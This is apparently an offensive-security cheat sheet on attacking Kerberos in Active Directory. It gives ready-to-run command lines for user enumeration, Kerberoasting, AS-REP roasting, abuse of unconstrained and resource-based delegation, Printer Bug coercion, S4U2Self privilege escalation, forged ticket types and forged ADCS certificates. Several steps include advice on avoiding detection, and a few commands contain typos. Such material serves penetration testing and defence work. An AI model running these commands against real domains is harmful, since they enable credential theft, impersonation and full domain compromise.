Kerberos

  • Port: 88
  • Protocol: tcp, udp

Table of content

Overview

The following figure shows the principal step of Kerberos proper functioning: Kerberos functioning

  1. During user login, AS-REQ request to the Key Distribution Center (KDC) usually exposed by the Domain Controller. This request asks for a TGT with a secret derived from the user password
  2. The KDC verify the secret key and return the TGT as an AS-REP message if the secret key can be validated against the user password stored in the AD.

The TGT contains the user identity and is encrypted using the KDC secret key (ie the krbtgt account password)

  1. When the user wants to access a service, it asks for a Ticket Granting Service (TGS) to the KDC through a TGS-REQ message with the Service Principal Name (SPN) and its TGS. The SPN identify the service and the TGS authenticate the user.

An SPN is an identifier linking the service instance with a logon account. They are configured in the User Object in AD

  1. The KDC verify that the user TGT and then sends back the TGS through a TGS-REP message. The KDC does not verify if the user can access the service, but when the service is reached and a TGS is presented as a means of authentication, it will inspect the ticket and decide whereas the user is authorized to access the service or not.

A TGS for a given service can be generated even if the user is not authorized to access the service. The KDC is for authentication only and not authorization.

The TGS is encrypted with the service account password

Bruteforce users

Kerberos can be used to enumerate valid users on the domain. Use kerbrute:

kerbrute userenum --domain ${domainName} ${userList} --dc ${dcIp}

Kerberoasting

Part of the TGS is encrypted with the service account password. It is then possible to crack them offline to retrieve the service account password.

Kerberosting is not really OPSEC : an event is 4769 is generated when a service ticket is generated.

Some companies use fake service accounts as honey pot. When a ticket is requested for this fake service account, an alert is raised.

Thus, when wanting to perform Kerberoast attacks, search manually service accounts and ask for a TGS selectively.

The following LDAP query can be used to look at SPN account:

# LDAP
(&(sAMAccountType=805306368)(servicePrincipalName=*))

# Bloodhound
MATCH (u:User {hasspn:true}) RETURN u

Impacket can be used to get the ticket from these users:

impacket-GetUserSPNs ${domain}/${user}:{password} -request -dc-ip 10.10.10.169

Worth a try without any password

imapcket-GetUserSPNs ${domain}/${user} -request -dc-ip 10.10.10.169 -no-pass

AS-REP Roasting

If a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user. Then the TGS can be cracked to retrieve the password.

The following LDAP query can be used to retrieve users impacted:

# LDAP
(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

# Bloodhound
MATCH (u:User {dontreqpreauth:true}) RETURN u

AS-REP is not OPSEC and should not be used

A list of possible username can be generated using username-anarchy or namemash

while read p; do GetNPUsers.py ${domain}/"$p" -request -no-pass -dc-ip ${dcIp} >> hash.txt; done < ${possibleUsernameList}
# The / at the end is mandatory
impacket-GetNPUsers -no-pass -usersfile ${usersList} -format john -dc-ip ${dcIp} ${domain}/

Unconstrained delegation

Overview

Delegation allows a user or a service to act on behalf of another user to another service. For example, if an exposed service is used as a proxy to a database, the user will authenticate on the exposed service and the service will be able to authenticate itself on the behalf of the user to the database.

When a service with Unconstrained Delegation authenticate to another service, its TGS used to authenticate on the remote service will contain the TGT of the user connecting to the local service. This TGT will be cached in memory.

So if an admin access to a service with unconstrained delegation, its TGT will be cached in memory. Thus, if the machine is compromised, all TGT can be dumped to impersonate users.

Unconstrained Delegation can be found using the following LDAP request:

# LDAP
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))

# Bloodhound
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

Rubeus can be used to monitor and dump TGT on a machine. When a TGT is found, it can then be injected on the user session with CobaltStrike:

  1. Retrieve the base64 ticket and write it in a .kirbi file
  2. Create sacrificial logon session : make_token ${domain}\${user} fakePassword
  3. Inject the TGT: kerberos_ticker_use ${pathToKirbi}

Printer Bug

This bug allows an adversary to coerce a forest's machine (MACHINE A) to perform authentication on another forest's machine (MACHINE B). The authentication is triggered through RPC calls such as RpcRemoteFindFirstPrinterChangeNotificationEx that notify a change between a printer server (MACHINE A) and a printer client (MACHINE B), hence the authentication of the "new" printer server to the client.

If the MACHINE B is configured with Unconstrained Delegation, it will be possible to retrieve a TGT for MACHINE A on MACHINE B. Hence, using this MACHINE A TGT it will be possible to retrieve TGS for every service on MACHINE A and thus compromise the machine.

If MACHINE A is a Domain Controller, you will compromise the domain.

The proof of concept code can be found here.

On the MACHINE B configured with Unconstrained Delegation a run Rubeus to monitor for new TGT:

Rubeus.exe monitor /targetuser:DC-2$ /interval:10 /nowrap

On your workstation, run the SpoolSample proof of concept on your workstations:

SpoolSample.exe ${MACHINE A} ${MACHINE B}

Once the MACHINE A TGT is retrieved, it can be injected in the CS session using make_token and kerberos_ticket_use as explained in the Unconstrained Delegation part.

Resource based Constrained Delegation

With Constrained Delegation the server does not cache the TGT anymore, but will be able to request TGS for specific services on the behalf of other users with its own TGT.

The Constrained Delegation computers can be found using the following LDAP request:

# Search for user AND computer as Constrained Delegation can be configured for both these objects
# LDAP
(&(objectCategory=computer)(msds-allowedtodelegateto=*))

# Bloodhound
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

To run RBCD attack, you must control a object considered as a service by Kerberos. Usually one of these:

  • A user account having a ServicePrincipalName set
  • An account with a trailing $ in the sAMAccountName (i.e. a computer accounts)

Configure RBCD

If you have the privileges to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another resource (GenericWrite, specific ACE), you can configure RBCD on this objects.

The StandIn tool can be used to ease configuration of RBCD on a remote ressource.

First, create the new machine (this step can be ignored if you already control a machine account):

Standin.exe --computer ${computerName} --make

Then, configure the RBCD on the target machine and add the newly created machine as an msDS-AllowedToActOnBehalfOfOtherIdentity in the target machine:

Standin.exe --computer ${targetMachineName} --sid ${createdComputerSID}

You can check that the configuration has been succesfully performed:

StandIn.exe --object samaccountname=${targetMachineName}

You should see your newly created computer SID in the msds-allowedtoactonbehalfofotheridentity part on the response.

Exploit

To exploit the Constrained Delegation the TGT of the server must be retrieved using mimikatz:

mimikatz sekurlsa::ekeys

# Use the AES keys to generate a `TGT`
# You can use Rubeus hash to compute aes key from NTLM/RC4 or plaintext password
Rubeus.exe asktgt /user:${machineAccount} /aes256:${aesKey} /opsec /nowrap

Or Rubeus:

Rubeus.exe triage

Then, a TGS can be generated. This TGS, generated with the Constrained Delegation server TGT, will impersonate the user:

# machineAccount : the machine account created or already controlled
# spnToImpersonate : cifs/targetResource, you can set what you want as service
# userToImpersonate : usually a local administrator on the target resource
Rubeus.exe s4u /impersonateuser:${userToImpersonate} /msdsspn:${spnToImpersonate} /user:${machineAccount} /ticket:${base64TGT} /nowrap

s4u does not check the spn using the /altservice:${serviceName} parameter. Thus, you can in fact ask a TGS for any service of the machine contained in the Constrained Delegation parameter.

S4U Self abuse

The Service For User (S4U) contains two interesting extensions:

  1. Service For User To Self which allows a service to obtain a TGS on behalf of another user
  2. Service For User to Proxy which allows a service to obtain a TGS on behalf of another user on another service

During Constrained Delegation exploit, these two extensions are used to first obtain a TGS on the Constrained Delegation machine on behalf of the user using S4U2Self and then, to obtain TGS on the specific targeted service on the remote machine using S4U2Proxy.

The S4U can be leveraged to escalate from System Account to Administrator on a machine.

Get a TGT

Indeed, even if running with local service account, the network connections are authenticated using the Computer Account. It is then possible to retrieve a TGT for the Computer Account using Rubeus:

./Rubeus.exe tgtdeleg /nowrap

Get a TGS

Then, once the TGT is acquired, a TGS is generated. This TGS is generated using S4USelf and will impersonate a user that IS a machine local admin (Domain Administrator for example):

Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap

The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.

Fix the service name

The generated ticket is not crafted with an interesting service name. However, the service name is not included in the TGS ciphered data and can be modified at will.

The TGS can be modified using ASN1Editor. Change the instances where GENERAL "${computerAccount} appears:

  1. Replace the string with cifs
  2. On the parent sequence, add a new string node with 1b as tag fields and the machine FQDN as value
  3. Save the ticket

Or, simply through Rubeus:

Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt

You can use Rubeus to ensure the ticket has been well modified :

Rubeus.exe describe /ticket:${pathToTicket}

You can now inject the ticket in your session.

Look at this lab to test the technique !

Play with krbtgt

Silver Ticket

The Silver Ticket is a TGS signed with a computer account key.

When the computer account key material is retrieved, it is possible to forge a ticket for any user on any service on the machine.

The computer key change usually every 30 days

The following services can be interested:

  • CIFS : allow the use of psexec
  • HTTP : allow the use of winrm
  • LDAP : allow dcsync on DC

Golden Ticket

A Golden Ticket is a TGT signed by the krbtgt account. When the Silver Ticket gives you access to a specific service on a specific host, the Golden Ticket can be used to retrieve a TGS on every services of every hosts.

The krbtgt secrets are usually not changed on a regular basis

Diamond Ticket

The Golden Ticket can be easily detected as the attacker will request a TGS without requesting a TGT before, *ie the TGS-REQ will not have a matching AS-REQ.

A Diamon Ticket will modify a TGT that have been legitimatly issued by the DC. Thus, to forge a Diamond Ticket, just retrieve a TGT and decrypt it, modify the fields you need and finaly re-encrypt it.

Forged Certificate

ADCS are usually less secured than DC.

If an attacker retrieves the CA private key, he will be able to sign forged certificates.

The CA private key can be extracted using SharpDPAPI:

SharpDPAPI.exe certificates /machine

Once the key is extracted in a .pem file, it is converted into .pfx format. Then, ForgeCert can be used to forge a new certificate:

ForgeCert.exe --CaCertPath ${pathCAPfx} --CaCertPassword ${pfxPassword} --Subject "CN=User" --SubjectAltName "${impersonatedUser}" --NewCertPath .\fakeCert.pfx --NewCertPassword pass123

Then, Rubeus can be used to get a TGT using the certificate.

It is also interesting to generate certificate for machine and use the S4U2Self Abuse trick to compromise the machine

results matching ""

    No results matching ""

    results matching ""

      No results matching ""